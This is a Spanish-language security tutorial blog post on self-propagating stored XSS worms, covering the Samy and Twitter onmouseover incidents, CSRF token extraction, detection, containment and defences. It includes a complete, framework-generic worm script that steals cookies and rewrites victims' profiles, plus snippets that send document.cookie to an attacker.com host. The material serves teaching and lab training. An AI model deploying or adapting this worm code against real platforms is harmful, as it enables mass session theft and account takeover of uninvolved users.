← Volver al Blog
XSS10 de julio de 2026 · 24 min lectura

XSS Stored — Tomo V: Wormable — El Payload que Se Replica Solo y Compromete una Plataforma Entera sin que el Atacante Mueva un Dedo

XSS Stored — Tomo V: Wormable — El Payload que Se Replica Solo y Compromete una Plataforma Entera sin que el Atacante Mueva un Dedo

"Samy Kamkar escribió 400 líneas de JavaScript un domingo. El lunes siguiente, más de un millón de personas lo llamaban su héroe sin saber por qué. Eso es lo que hace un XSS worm bien diseñado: convierte a la plataforma misma en el vector de ataque."


La Diferencia que Hace Historia

En el Tomo 4 aprendiste que XSS Stored es más peligroso que Reflected porque el sistema entrega el payload sin que el atacante haga nada después de la inyección inicial.

Pero hay un escalón más arriba. Un escalón que convierte un bug individual en un incidente masivo, que hace que plataformas enteras tengan que cerrar para contener el daño, y que le dio a un adolescente de California su segundo de fama internacional y una investigación del Servicio Secreto de los Estados Unidos.

Ese escalón es la auto-propagación.

Un XSS worm no solo ejecuta código en el navegador de la víctima. Usa ese navegador para replicarse a sí mismo — escribir una copia del payload en el perfil, comentario o mensaje de la víctima, de manera que cada nueva víctima se convierta en un nuevo vector de infección.

La propagación es exponencial. Sin intervención adicional del atacante.

Este tomo explica cómo funciona ese mecanismo, desgrana los casos históricos más importantes, y construye el código de un worm desde cero para que entiendas cada decisión técnica que lo hace posible.


Índice

  1. El ciclo de vida de un XSS worm: cuatro fases
  2. Historia: Samy Worm — cómo un perfil de MySpace infectó un millón de usuarios en 20 horas
  3. Disección técnica del Samy Worm — el código real y por qué funcionó
  4. Historia: Twitter onmouseover worm (2010) — propagación sin clic
  5. El mecanismo de auto-propagación: cómo un payload se lee y se copia a sí mismo
  6. El problema del CSRF token: el obstáculo principal y cómo los worms lo resuelven
  7. Construyendo un XSS worm moderno — código completo paso a paso
  8. Worms en aplicaciones con API REST — el vector más relevante en 2026
  9. Cómo un worm cambia la clasificación de severidad en bug bounty
  10. Detección y contención: cómo responden las plataformas cuando un worm se activa
  11. Defensa: qué hace que una aplicación sea resistente a worms XSS
  12. Laboratorio en el Cyber Range
  13. Lo que viene en el Tomo 6

1. El Ciclo de Vida de un XSS Worm: Cuatro Fases

A diferencia de un XSS Stored convencional (que tiene dos fases: almacenamiento y ejecución), un worm tiene cuatro:

FASE 1: INFECCIÓN INICIAL
El atacante inyecta el worm payload en un punto vulnerable
(perfil, comentario, mensaje)
        ↓
FASE 2: EJECUCIÓN EN LA VÍCTIMA
Usuario legítimo visita el contenido infectado
El payload se ejecuta en su navegador con sus credenciales
        ↓
FASE 3: ACCIÓN MALICIOSA (opcional)
El payload puede robar cookies, exfiltrar datos,
hacer acciones en nombre de la víctima
        ↓
FASE 4: AUTO-PROPAGACIÓN (el paso diferencial)
El payload usa las credenciales de la víctima para
escribir una copia de sí mismo en el perfil/contenido de la víctima
→ La víctima se convierte en nuevo vector de infección
→ Volver a FASE 2 con cada nuevo visitante
En el ciclo de vida de un XSS worm, el payload usa los privilegios propios de la víctima para enviar una request al servidor y cambiar su contenido. El contenido de la víctima ahora incluye una copia del worm, propagando la infección a cualquiera que lo visualice.

La clave está en la Fase 4. Sin ella, tienes XSS Stored — poderoso, pero lineal. Con ella, tienes un worm — exponencial, autónomo, y potencialmente imparable sin cerrar la plataforma.


2. Historia: Samy Worm — Cómo un Perfil de MySpace Infectó un Millón de Usuarios en 20 Horas

Fecha: 4 de octubre de 2005
Plataforma: MySpace — la red social más grande del mundo en ese momento, con más de 100 millones de usuarios
Autor: Samy Kamkar, 19 años, California
Resultado: Más de un millón de perfiles infectados en menos de 24 horas

Samy Kamkar creó el primer XSS worm de la historia, que se propagó a través de MySpace. Cuando un usuario visitaba un perfil infectado, el payload se replicaba y se plantaba en su propio perfil para continuar la distribución. Dentro de las 20 horas de su lanzamiento el 4 de octubre de 2005, más de un millón de usuarios habían ejecutado el payload, haciendo del Samy el virus de propagación más rápida de todos los tiempos.

El contexto técnico: por qué MySpace era vulnerable

MySpace permitía a los usuarios personalizar sus perfiles con HTML y CSS. Para evitar abuso, implementaron filtros que bloqueaban ciertas etiquetas y JavaScript. Pero los filtros eran incompletos.

Samy encontró múltiples bypass técnicos:

Bypass 1: MySpace bloqueaba javascript: en atributos pero no java\nscript: con newline

<!-- Bloqueado -->
<a href="javascript:alert(1)">click</a>

<!-- No bloqueado — newline en medio de la palabra -->
<div style="background:url('java
script:alert(1)')">

Bypass 2: MySpace bloqueaba expression en CSS pero no con comentarios CSS intercalados

/* Bloqueado */
div { width: expression(alert(1)) }

/* No bloqueado */
div { width: expr/**/ession(alert(1)) }

Bypass 3: IE combinaba atributos separados en distintas líneas

Samy explotó un comportamiento específico de Internet Explorer (el navegador dominante en 2005) donde atributos divididos en múltiples líneas eran "unidos" por el parser, permitiendo construir javascript como java en una línea y script en otra.

El vector de propagación

El payload de Samy hacía tres cosas:

  1. Acción social: Agregaba a Samy como amigo del visitante
  2. Propaganda: Agregaba "but most of all, samy is my hero" al perfil del visitante
  3. Auto-propagación: Copiaba el código del worm al perfil del visitante

Con cada nuevo perfil infectado, el worm tenía un nuevo vector. Con cada nuevo vector, llegaban más visitantes. El crecimiento era exponencial.

Las consecuencias

MySpace, entonces el sitio de redes sociales más popular del mundo, se vio forzado a tomar todo el sitio fuera de línea para contener el brote. El equipo de ingeniería tuvo que limpiar el código del worm de más de un millón de perfiles.

Samy fue investigado por el Servicio Secreto de Estados Unidos. En 2007 llegó a un acuerdo judicial que incluía tres años de libertad condicional, 90 días de servicio comunitario, prohibición de usar computadoras por tres años, y una multa.

Samy se ha convertido desde entonces en un respetado investigador de seguridad, creando numerosos proyectos educativos.

3. Disección Técnica del Samy Worm — El Código Real y Por Qué Funcionó

El payload completo de Samy era más complejo que la mayoría de los ejemplos que se citan. Aquí está la lógica central simplificada y modernizada para que sea comprensible:

// VERSIÓN EDUCATIVA SIMPLIFICADA DEL SAMY WORM
// (Para entender la mecánica, no para reproducir)

// PASO 1: Obtener el código del worm desde el propio DOM
// El worm necesita una referencia a sí mismo para copiarse
var worm_code = document.getElementById('payload').innerHTML;
// Este ID referencia el propio elemento <script> o <div> donde vive el worm

// PASO 2: Obtener el token CSRF (en MySpace era el "hash" de sesión)
// Samy hacía una request GET a su propia página de perfil
// y extraía el token de la respuesta
var xhr1 = new XMLHttpRequest();
xhr1.open('GET', 'http://www.myspace.com/index.cfm?fuseaction=user.viewProfile&friendID=SAMY_ID', false);
xhr1.send();
var response = xhr1.responseText;

// Extraer el token con regex del HTML de respuesta
var token_match = response.match(/token=([^&"]+)/);
var token = token_match ? token_match[1] : '';

// PASO 3: Construir el payload que se escribirá en el perfil de la víctima
// Incluye el código del worm + el texto "samy is my hero"
var new_profile_content = 'but most of all, samy is my hero<br>' + worm_code;

// PASO 4: Hacer POST al endpoint de actualización de perfil
// usando las credenciales activas de la víctima (está logueada)
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', 'http://www.myspace.com/index.cfm?fuseaction=profile.update', false);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('token=' + token + '&about_me=' + encodeURIComponent(new_profile_content));

// PASO 5 (de las versiones maliciosas posteriores):
// Agregar a Samy como amigo — misma mecánica, diferente endpoint

Por qué cada paso importa

El paso más crítico es el PASO 1: el worm necesita una referencia a su propio código. Si el payload no puede leer su propio source, no puede copiarse. Samy resolvió esto apuntando a su propio elemento en el DOM con getElementById.

El paso más inteligente es el PASO 2: extraer el CSRF token antes de hacer el POST. Sin esto, la request de escritura sería rechazada por las protecciones CSRF. Pero si el XSS ya está ejecutando código, puede hacer el GET, leer el token del HTML, y usarlo en el POST — todo dentro de la misma sesión autenticada de la víctima.

El paso más devastador es el PASO 3: incluir worm_code en el contenido que se escribe. Sin esta línea, el payload haría una acción maliciosa pero no se propagaría. Con esta línea, la víctima se convierte en vector.


4. Historia: Twitter onmouseover Worm (2010) — Propagación Sin Clic

Cinco años después del Samy Worm, Twitter tuvo su propio incidente — y con un mecanismo aún más alarmante: el usuario ni siquiera necesitaba hacer clic.

Fecha: 21 de septiembre de 2010
Plataforma: Twitter.com (versión web)
Vector: Atributo onmouseover en links dentro de tweets

Masato Kinugawa, un desarrollador japonés, descubrió que el atributo onmouseover en links de Twitter ejecutaba JavaScript sin ninguna interacción activa del usuario — solo al pasar el cursor sobre el link. Kinugawa reportó la vulnerabilidad a Twitter el 14 de agosto. Twitter la parchó, pero luego, de manera catastrófica, permitió que reapareciera.

El payload era brutalmente simple:

<!-- Tweet con payload wormable -->
<a href="http://t.co/link" onmouseover="
  /* Exfiltrar cookies */
  new Image().src='https://attacker.com/?c='+document.cookie;
  /* Auto-propagarse: retweetear el tweet infectado */
  $.post('/status/update', {
    status: '<a onmouseover=\'eval(atob(\"PAYLOAD_BASE64\"))\'>XSS</a>',
    authenticity_token: $('input[name=authenticity_token]').val()
  });
">hover me</a>
Un hacker utilizó la vulnerabilidad de XSS stored en Twitter para crear un worm que explotaba el evento onmouseover. Cuando los usuarios pasaban el cursor sobre los links, el worm se retweeteaba a sí mismo, causando propagación. El worm afectó a numerosos usuarios de Twitter y causó vergüenza para la plataforma, que tuvo que tomar medidas inmediatas.

La diferencia con Samy: El Twitter worm no requería que la víctima hiciera clic — solo pasar el mouse sobre el link. En dispositivos de escritorio donde el mouse se mueve constantemente, esto hacía la propagación virtualmente automática.

Kaspersky advirtió inmediatamente: "esta vulnerabilidad parece al menos semi-wormable". También alertó que "es posible cargar JavaScript secundario desde una URL externa sin interacción del usuario", y que ya se había detectado un worm activo explotando la vulnerabilidad.

5. El Mecanismo de Auto-Propagación: Cómo un Payload Se Lee y Se Copia a Sí Mismo

Esta es la mecánica central que distingue un XSS worm de XSS Stored convencional. Hay tres técnicas principales para que un payload acceda a su propio código:

Técnica 1: Referencia por ID de elemento DOM

// El script vive en un elemento con ID conocido
<script id="worm">
  var my_code = document.getElementById('worm').outerHTML;
  // my_code ahora contiene el script completo incluyendo las etiquetas
  // Este string se incluye en el contenido que se escribe en la víctima
</script>

Ventaja: Simple y directo
Desventaja: Requiere que el elemento tenga un ID predecible y que esté en el DOM

Técnica 2: Fetch del propio recurso

// El worm hace fetch de la URL donde está almacenado
fetch('/profiles/' + victim_username)
  .then(r => r.text())
  .then(html => {
    // Extraer el payload del HTML de la página infectada
    var parser = new DOMParser();
    var doc = parser.parseFromString(html, 'text/html');
    var worm_element = doc.getElementById('worm');
    var worm_code = worm_element ? worm_element.outerHTML : '';
    // Ahora escribir en la página de la víctima
    propagate(worm_code);
  });

Ventaja: No depende del estado actual del DOM — lee el código tal como está almacenado
Desventaja: Requiere una request adicional; el CORS puede impedirlo si hay iframes o dominios cruzados

Técnica 3: Hardcode base64 (más resistente)

// El payload completo está codificado en base64 dentro de sí mismo
<img src=x onerror="
  var payload = '<img src=x onerror=eval(atob(\'BASE64_DEL_PAYLOAD_COMPLETO\'))>';
  // El BASE64 es la codificación del script completo, incluyendo esta línea
  // Se calcula antes de desplegar el worm
  propagate(payload);
">

Ventaja: El payload es un string estático — no necesita leer el DOM
Desventaja: El base64 debe calcularse cuidadosamente para que sea autorreferencial; puede ser detectado más fácilmente por WAFs que detectan strings base64 largos


6. El Problema del CSRF Token: El Obstáculo Principal y Cómo los Worms lo Resuelven

La mayoría de aplicaciones modernas protegen sus endpoints de escritura con tokens CSRF — un valor único por sesión que debe incluirse en cada POST para demostrar que la request vino del sitio legítimo.

El problema: ¿cómo puede un XSS worm obtener el token CSRF para hacer el POST que lo propaga?

La respuesta es la ironía perfecta de la seguridad web: el mismo XSS que el token CSRF debería proteger, permite obtener el token.

Paso a paso: extracción de CSRF token en worm moderno

// FASE 1: GET a la página que contiene el formulario de escritura
// Este fetch usa las credenciales activas de la víctima (same-origin)
fetch('/profile/edit', {
  credentials: 'include'  // Envía las cookies de sesión de la víctima
})
.then(response => response.text())
.then(html => {

  // FASE 2: Parsear el HTML y extraer el token CSRF
  var parser = new DOMParser();
  var doc = parser.parseFromString(html, 'text/html');
  
  // El token puede estar en un input hidden, en un meta tag, o en un header
  var csrf_token = 
    // Opción A: input hidden (Django, Rails, Laravel)
    (doc.querySelector('input[name="csrf_token"]') || 
     doc.querySelector('input[name="_token"]') ||
     doc.querySelector('input[name="authenticity_token"]') ||
    // Opción B: meta tag (Rails, algunos SPAs)
     doc.querySelector('meta[name="csrf-token"]'))?.value ||
    // Opción C: extraer con regex si está embebido en JS
    (html.match(/"csrf[_-]token"\s*:\s*"([^"]+)"/) || [])[1];

  // FASE 3: Construir el payload de propagación
  var worm_payload = document.getElementById('worm').outerHTML;
  
  // FASE 4: POST al endpoint de actualización con el token válido
  return fetch('/api/profile', {
    method: 'POST',
    credentials: 'include',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': csrf_token  // Algunos frameworks lo esperan en header
    },
    body: JSON.stringify({
      bio: 'Check this out! ' + worm_payload,
      _token: csrf_token  // Algunos frameworks lo esperan en el body
    })
  });
})
.then(r => r.json())
.then(data => {
  // Confirmación opcional — exfiltrar resultado
  new Image().src = 'https://attacker.com/propagation?status=' + 
    (data.success ? 'ok' : 'failed');
});
Como el XSS permite al código malicioso extraer el CSRF token de la respuesta HTML, y luego usarlo en el POST, el token CSRF no protege contra XSS worms. Twitter reconoció en 2010 que necesitaba mejorar sus defensas CSRF, pero también admitió que mientras existiera el XSS subyacente, el código podía extraer el token y usarlo.

Esta es la razón por la que CSRF sin sanitización de XSS es una defensa incompleta. Primero hay que eliminar el XSS, no solo agregar tokens.


7. Construyendo un XSS Worm Moderno — Código Completo Paso a Paso

Lo que sigue es el código completo de un XSS worm para entorno de laboratorio. Está diseñado para ejecutarse en el Cyber Range de TribuCibernética contra la aplicación de práctica, donde tienes autorización explícita.

Nunca uses este código fuera de entornos autorizados. El despliegue de un XSS worm contra sistemas reales sin autorización es un delito penal.

// ============================================================
// XSS WORM — TribuCibernética Cyber Range
// Solo para uso en entorno de laboratorio autorizado
// Lab: XSS-S07 — Worm Propagation Challenge
// ============================================================

(function XSSWorm() {
  
  // ── CONFIGURACIÓN ──────────────────────────────────────────
  var CAPTURE_SERVER = 'https://cyber-range.tribucibernetica.com';
  var WORM_ID = 'tc_worm_v1'; // ID único del worm en el DOM
  
  // ── PASO 1: VERIFICAR QUE NO ESTAMOS REINFECTANDO ─────────
  // Evitar loop infinito si el perfil ya está infectado
  if (document.querySelector('[data-worm="' + WORM_ID + '"]')) {
    return; // Ya infectado, no hacer nada
  }
  
  // ── PASO 2: EXFILTRACIÓN DE DATOS ─────────────────────────
  // Capturar información de la sesión actual antes de propagar
  var session_data = {
    cookies: document.cookie,
    url: window.location.href,
    username: document.querySelector('.username, [data-username]')?.textContent?.trim(),
    timestamp: new Date().toISOString()
  };
  
  // Enviar al servidor de captura (asíncrono, no bloquea la propagación)
  navigator.sendBeacon(
    CAPTURE_SERVER + '/capture',
    JSON.stringify(session_data)
  );
  
  // ── PASO 3: OBTENER EL CÓDIGO DEL WORM (auto-referencia) ──
  // Método 1: Desde el elemento actual en el DOM
  // El worm asume que se ejecuta desde un elemento con atributo data-worm
  var worm_element = document.querySelector('[data-worm="' + WORM_ID + '"]') ||
                     document.currentScript;
  
  var worm_code = worm_element ? 
    '<script data-worm="' + WORM_ID + '">' + 
    worm_element.textContent + 
    '<\/script>' : null;
  
  if (!worm_code) {
    // Método 2 fallback: fetch del perfil para extraer el worm
    // (asíncrono — continúa con propagación después)
    fetch(window.location.href, {credentials: 'include'})
      .then(r => r.text())
      .then(html => {
        var match = html.match(/<script[^>]*data-worm="tc_worm_v1"[^>]*>([\s\S]+?)<\/script>/);
        if (match) {
          propagate('<script data-worm="tc_worm_v1">' + match[1] + '<\/script>');
        }
      });
    return;
  }
  
  propagate(worm_code);
  
  // ── PASO 4: FUNCIÓN DE PROPAGACIÓN ────────────────────────
  function propagate(code_to_spread) {
    
    // FASE A: Obtener token CSRF
    fetch('/profile/edit', {credentials: 'include'})
      .then(r => r.text())
      .then(html => {
        
        // Extraer CSRF token (compatibilidad con múltiples frameworks)
        var parser = new DOMParser();
        var doc = parser.parseFromString(html, 'text/html');
        
        var csrf = extractCSRF(doc, html);
        
        if (!csrf) {
          // Sin CSRF token — intentar POST directo (algunos endpoints no lo requieren)
          writeToProfile(code_to_spread, null);
          return;
        }
        
        // FASE B: Escribir en el perfil de la víctima
        writeToProfile(code_to_spread, csrf);
      })
      .catch(err => {
        // Si falla el GET, intentar propagación sin token
        writeToProfile(code_to_spread, null);
      });
  }
  
  // ── EXTRACCIÓN DE CSRF ────────────────────────────────────
  function extractCSRF(doc, raw_html) {
    // Orden de prioridad de búsqueda
    return (
      // Django / Flask / genérico
      doc.querySelector('[name="csrf_token"]')?.value ||
      doc.querySelector('[name="csrfmiddlewaretoken"]')?.value ||
      // Laravel
      doc.querySelector('[name="_token"]')?.value ||
      // Rails
      doc.querySelector('[name="authenticity_token"]')?.value ||
      doc.querySelector('meta[name="csrf-token"]')?.getAttribute('content') ||
      // En JS inline
      (raw_html.match(/"csrf[_\-]?token"\s*:\s*"([^"]{20,})"/i) || [])[1] ||
      (raw_html.match(/csrf[_\-]?token['":\s]+([a-zA-Z0-9_\-]{20,})/i) || [])[1] ||
      null
    );
  }
  
  // ── ESCRITURA EN PERFIL ───────────────────────────────────
  function writeToProfile(payload, csrf_token) {
    var infection_content = 'Check out this cool security article!' + payload;
    
    // Construir headers
    var headers = {'Content-Type': 'application/json'};
    if (csrf_token) {
      headers['X-CSRFToken'] = csrf_token;
      headers['X-CSRF-Token'] = csrf_token;
    }
    
    // Intentar API REST primero
    fetch('/api/profile', {
      method: 'PATCH',
      credentials: 'include',
      headers: headers,
      body: JSON.stringify({
        bio: infection_content,
        ...(csrf_token && {_token: csrf_token, csrf_token: csrf_token})
      })
    })
    .then(r => {
      if (!r.ok) {
        // Fallback: form POST (para apps sin API REST)
        submitFormPost(infection_content, csrf_token);
      } else {
        // Confirmar propagación exitosa
        new Image().src = CAPTURE_SERVER + '/propagated?u=' + 
          encodeURIComponent(session_data.username || 'unknown');
      }
    });
  }
  
  // ── FALLBACK: FORM POST ───────────────────────────────────
  function submitFormPost(content, csrf_token) {
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = '/profile/update';
    form.style.display = 'none';
    
    var fields = {
      bio: content,
      ...(csrf_token && {csrf_token: csrf_token, _token: csrf_token})
    };
    
    Object.entries(fields).forEach(([name, value]) => {
      var input = document.createElement('input');
      input.type = 'hidden';
      input.name = name;
      input.value = value;
      form.appendChild(input);
    });
    
    document.body.appendChild(form);
    form.submit();
  }

})(); // IIFE — se ejecuta inmediatamente

Análisis del código

IIFE (línea final): El worm se envuelve en una función que se invoca inmediatamente. Esto evita contaminar el scope global y permite usar return para abortar temprano.

Check de reinfección (Paso 1): Sin esto, el worm entraría en un loop infinito infectando el mismo perfil repetidamente. La verificación de data-worm en el DOM evita re-ejecución.

navigator.sendBeacon (Paso 2): Más confiable que fetch para exfiltración porque el browser garantiza el envío aunque la página cambie o se cierre. No bloquea la propagación.

Extracción multi-framework de CSRF (función extractCSRF): Cubre Django, Flask, Laravel, Rails y formatos JSON. En aplicaciones reales, el formato del token varía — la función prueba todos.

Fallback de form POST: Cuando la API REST falla o no existe, el worm intenta un submit de formulario clásico. Esto cubre aplicaciones legacy que no usan APIs.


8. Worms en Aplicaciones con API REST — El Vector Más Relevante en 2026

Las aplicaciones modernas tienen una superficie de propagación diferente a MySpace 2005. Hoy todo es SPA + API REST. Esto cambia la mecánica del worm pero no lo hace menos posible.

El escenario moderno: React/Vue + API

Usuario A (atacante) inyecta payload en campo "bio" via API:
POST /api/users/me/bio
{"bio": "<script data-worm='tc_worm_v1'>...</script>"}

La app guarda el bio sin sanitizar en la DB.

Usuario B visita el perfil del atacante:
GET /api/users/attacker/profile
→ Frontend React recibe JSON con el bio
→ Componente hace: <div dangerouslySetInnerHTML={{__html: profile.bio}} />
→ Script se ejecuta en el contexto de la sesión del Usuario B

El worm en el browser del Usuario B:
→ GET /api/users/me/profile (con session del Usuario B)
→ Extrae CSRF token del response header X-CSRF-Token
→ PATCH /api/users/me/bio con el worm payload
→ El bio del Usuario B ahora tiene el worm

Usuario C visita el perfil del Usuario B... 

El vector de CSRF token en APIs modernas

En APIs REST modernas, el CSRF token frecuentemente viene como:

// Option 1: Header personalizado en la response
response.headers.get('X-CSRF-Token')

// Option 2: Cookie con valor legible (no HttpOnly)
document.cookie.match(/csrf[_-]?token=([^;]+)/i)?.[1]

// Option 3: Respuesta de un endpoint dedicado
fetch('/api/csrf-token', {credentials: 'include'})
  .then(r => r.json())
  .then(data => data.token)

Un worm moderno debe cubrir los tres casos.


9. Cómo un Worm Cambia la Clasificación de Severidad en Bug Bounty

En el Tomo 3 explicamos que el impacto determina la severidad. Un XSS worm eleva automáticamente cualquier hallazgo porque:

FactorXSS Stored normalXSS Stored wormable
Víctimas potencialesUsuarios que visitan la página infectadaToda la base de usuarios de la plataforma
Intervención del atacanteNula después de la inyecciónNula — el worm se propaga solo
Tiempo hasta impacto masivoProporcional al tráficoExponencial — horas a días
Dificultad de contenciónEliminar el contenido infectadoRequiere cierre de la plataforma o desactivación de features
Severidad en BBHighCritical (P1)
Payout típico$1,000 → $5,000$5,000 → $50,000+

Cómo demostrar propagación en un reporte de bug bounty

No despliegues un worm real en producción. Eso es ilegal y hace que el programa te descalifique.

Sí demuestra el mecanismo completo con dos cuentas de prueba:

1. Con cuenta A: inyectar el payload en campo vulnerable
2. Con cuenta B (browser separado): visitar el perfil/contenido de A
3. Verificar que el bio/contenido de B fue modificado con el payload
4. Con cuenta C (browser separado): visitar el perfil de B
5. Verificar que el bio/contenido de C fue modificado

Esa cadena de 3 niveles (A infecta B, B infecta C) es suficiente prueba de wormabilidad. No necesitas N=1,000,000.

En el reporte, incluye:

  • Descripción explícita de cómo la propagación escala exponencialmente
  • Video de la cadena de tres niveles
  • Cálculo aproximado: si el perfil tiene X visitantes promedio por día, en Y días la infección alcanza Z% de la base de usuarios
  • Referencia al Samy Worm como precedente histórico documentado

10. Detección y Contención: Cómo Responden las Plataformas

Cuando un XSS worm se activa en producción, el equipo de seguridad tiene opciones limitadas y un reloj corriendo.

Señales de detección temprana

  • Spike anómalo en requests POST a endpoints de actualización de perfil
  • Patrón de requests idénticos (mismo payload) desde múltiples IPs/usuarios
  • Aumento inusual de requests GET seguidas de POST en pares rápidos (el patrón de extracción de token + escritura)
  • Quejas de usuarios sobre contenido modificado sin su intervención
  • WAF alerts sobre payloads de script en campos de texto

Opciones de contención (en orden de impacto)

Opción 1 (quirúrgica, lenta): Identificar y limpiar el contenido infectado en la DB. Requiere conocer el patrón exacto del worm. Efectivo pero toma tiempo mientras el worm sigue propagándose.

Opción 2 (rápida, disruptiva): Desactivar temporalmente los endpoints de escritura que el worm usa para propagarse. Los usuarios no pueden actualizar perfiles, pero la propagación se detiene.

Opción 3 (nuclear, efectiva): Tomar la plataforma fuera de línea. Única opción garantizada. Es lo que MySpace tuvo que hacer.

Opción 4 (preventiva post-incidente): Invalidar todas las sesiones activas. Rompe el worm (que depende de sesiones activas) pero desloguea a todos los usuarios.


11. Defensa: Qué Hace que una Aplicación Sea Resistente a Worms XSS

La resistencia a XSS worms requiere defensas en múltiples capas:

Capa 1: Eliminar el XSS (la única defensa real)

Sin XSS, no hay worm. Output encoding correcto en todos los sinks elimina la posibilidad de ejecución de payload.

Capa 2: SameSite Cookies

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

SameSite=Strict previene que el browser envíe la cookie en requests cross-site. Esto no detiene un worm que opera en el mismo origen, pero elimina algunos vectores de entrega.

Capa 3: Rate limiting en endpoints de escritura

# Ejemplo: máximo 5 actualizaciones de perfil por hora por usuario
@rate_limit(max_requests=5, window=3600, key='user_id')
def update_profile(user_id, data):
    ...

Un worm que propaga a cientos de usuarios por hora necesita hacer cientos de requests. Rate limiting agresivo en endpoints de escritura ralentiza la propagación hasta hacerla manejable.

Capa 4: Monitoreo de patrones de escritura anómalos

# Alertar si el mismo contenido se escribe en múltiples perfiles en corto tiempo
def check_worm_pattern(content, user_id):
    recent_identical = db.count(
        "SELECT COUNT(*) FROM profile_updates 
         WHERE content_hash = ? AND updated_at > NOW() - INTERVAL 1 HOUR",
        [hash(content)]
    )
    if recent_identical > 10:
        alert_security_team(f"Possible worm pattern: {recent_identical} identical writes")

Capa 5: CSP estricta

Una CSP que bloquee scripts inline y restrinja las URLs de connect-src no elimina el XSS, pero puede prevenir la exfiltración de datos y limitar la capacidad del worm para comunicarse con el servidor del atacante.


12. Laboratorio en el Cyber Range

Los labs del Tomo 5 son los más avanzados de la ruta CP02:

Lab XSS-S06: Análisis del Samy Worm simplificado — reproducir la lógica en entorno moderno
Lab XSS-S07: Construir y desplegar un XSS worm completo en la app de práctica del Cyber Range
Lab XSS-S08: Worm en aplicación con API REST — extracción de token y propagación via fetch
Lab XSS-S09: Defensa activa — detectar y contener un worm activo antes de que alcance N usuarios

El Lab XSS-S09 invierte el rol: eres el defensor, el worm ya está activo, y tienes 15 minutos para detectar el patrón, identificar el payload, y detener la propagación antes de que llegue al 10% de la base de usuarios simulada.

→ Acceder al Cyber Range


13. Lo que Viene en el Tomo 6

El Tomo 6 cierra la serie de XSS Stored con el territorio más relevante para profesionales de seguridad corporativa:

XSS Stored en aplicaciones enterprise:

  • Jira y Confluence — cómo los campos de texto enriquecido han sido vectores de stored XSS en versiones on-premise y cloud
  • GitLab y GitHub — XSS en comentarios de issues, wikis, y archivos markdown renderizados
  • Slack y Microsoft Teams — mensajes con formato y previews de links como vectores
  • WordPress y CMS populares — plugins desactualizados como superficie de ataque masiva

Por qué el enterprise es diferente:

En aplicaciones de consumo, el impacto de un XSS worm es robo de sesiones y propagación masiva. En enterprise, el impacto es acceso a repositorios de código privado, documentos confidenciales, tickets de soporte internos, y credenciales de CI/CD. Una cadena de XSS Stored en Jira que llega a un admin con acceso al pipeline de deployment es un incidente de seguridad de nivel 1.


Glosario Rápido — Tomo 5

TérminoDefinición
XSS WormPayload stored XSS que se replica automáticamente a otros usuarios/perfiles
Auto-propagaciónLa capacidad del worm de copiarse usando las credenciales de la víctima
IIFEImmediately Invoked Function Expression — función que se ejecuta al definirse
navigator.sendBeaconAPI del browser para enviar datos antes de que la página se descargue
CSRF token extractionEl proceso por el cual el worm obtiene el token anti-CSRF para hacer POSTs válidos
Rate limitingRestricción del número de requests que un usuario puede hacer en un período
SameSite cookieAtributo de cookie que restringe su envío en requests cross-site
Propagación exponencialCrecimiento donde cada víctima puede infectar N nuevas víctimas — 1→N→N²→N³
ReinfecciónCuando el worm infecta un host ya infectado — produce loops; debe prevenirse
Worm signaturePatrón único del payload que permite detectar y rastrear un worm específico

Referencias Técnicas

  • Samy Kamkar — "The MySpace Worm" — samy.pl/myspace (explicación del autor)
  • Wikipedia — Samy (computer worm) — documentación histórica
  • DarkReading — "Twitter Attack: An XSS Wake-Up Call" (Sep 2010)
  • Help Net Security — "XSS Twitter flaw used to expose users" (Sep 2010)
  • NYU Osiris Lab — "Writing an XSS Worm" (Diaspora case study)
  • GitHub — vavkamil/XSSworm.dev — self-replication contest PoC
  • PathCutter: Severing the Self-Propagation Path of XSS JavaScript Worms — Northwestern University
  • HackerOne Blog — Stored XSS and the Samy Worm precedent (2026)
  • OWASP Testing Guide v4.2 — OTG-CLIENT-002

¿Completaste el Lab XSS-S07 y construiste tu primer worm funcional? Postea tu writeup en el Discord con el tag #worm-challenge. Los mejores writeups se publican en el blog de TribuCibernetica.

→ Leer Tomo 4: Anatomía del XSS Stored
→ Leer Tomo 6: XSS Stored en Enterprise — Jira, GitLab, Slack y más
→ Practicar Labs XSS-S06 al S09 en el Cyber Range
→ Unirse al Discord de TribuCibernética


© 2026 TribuCibernetica. Contenido publicado bajo fines educativos y de investigación en seguridad. El despliegue de XSS worms contra sistemas sin autorización explícita es un delito penal en México (Artículo 211 bis del Código Penal Federal) y en la mayoría de jurisdicciones. Practica exclusivamente en entornos autorizados como el Cyber Range de TribuCibernetica.


[!TIP] ¿Quieres practicar esta vulnerabilidad? Pon a prueba tus conocimientos en un entorno controlado. Únete a otros hackers y explora el Cyber Range de TribuCibernética.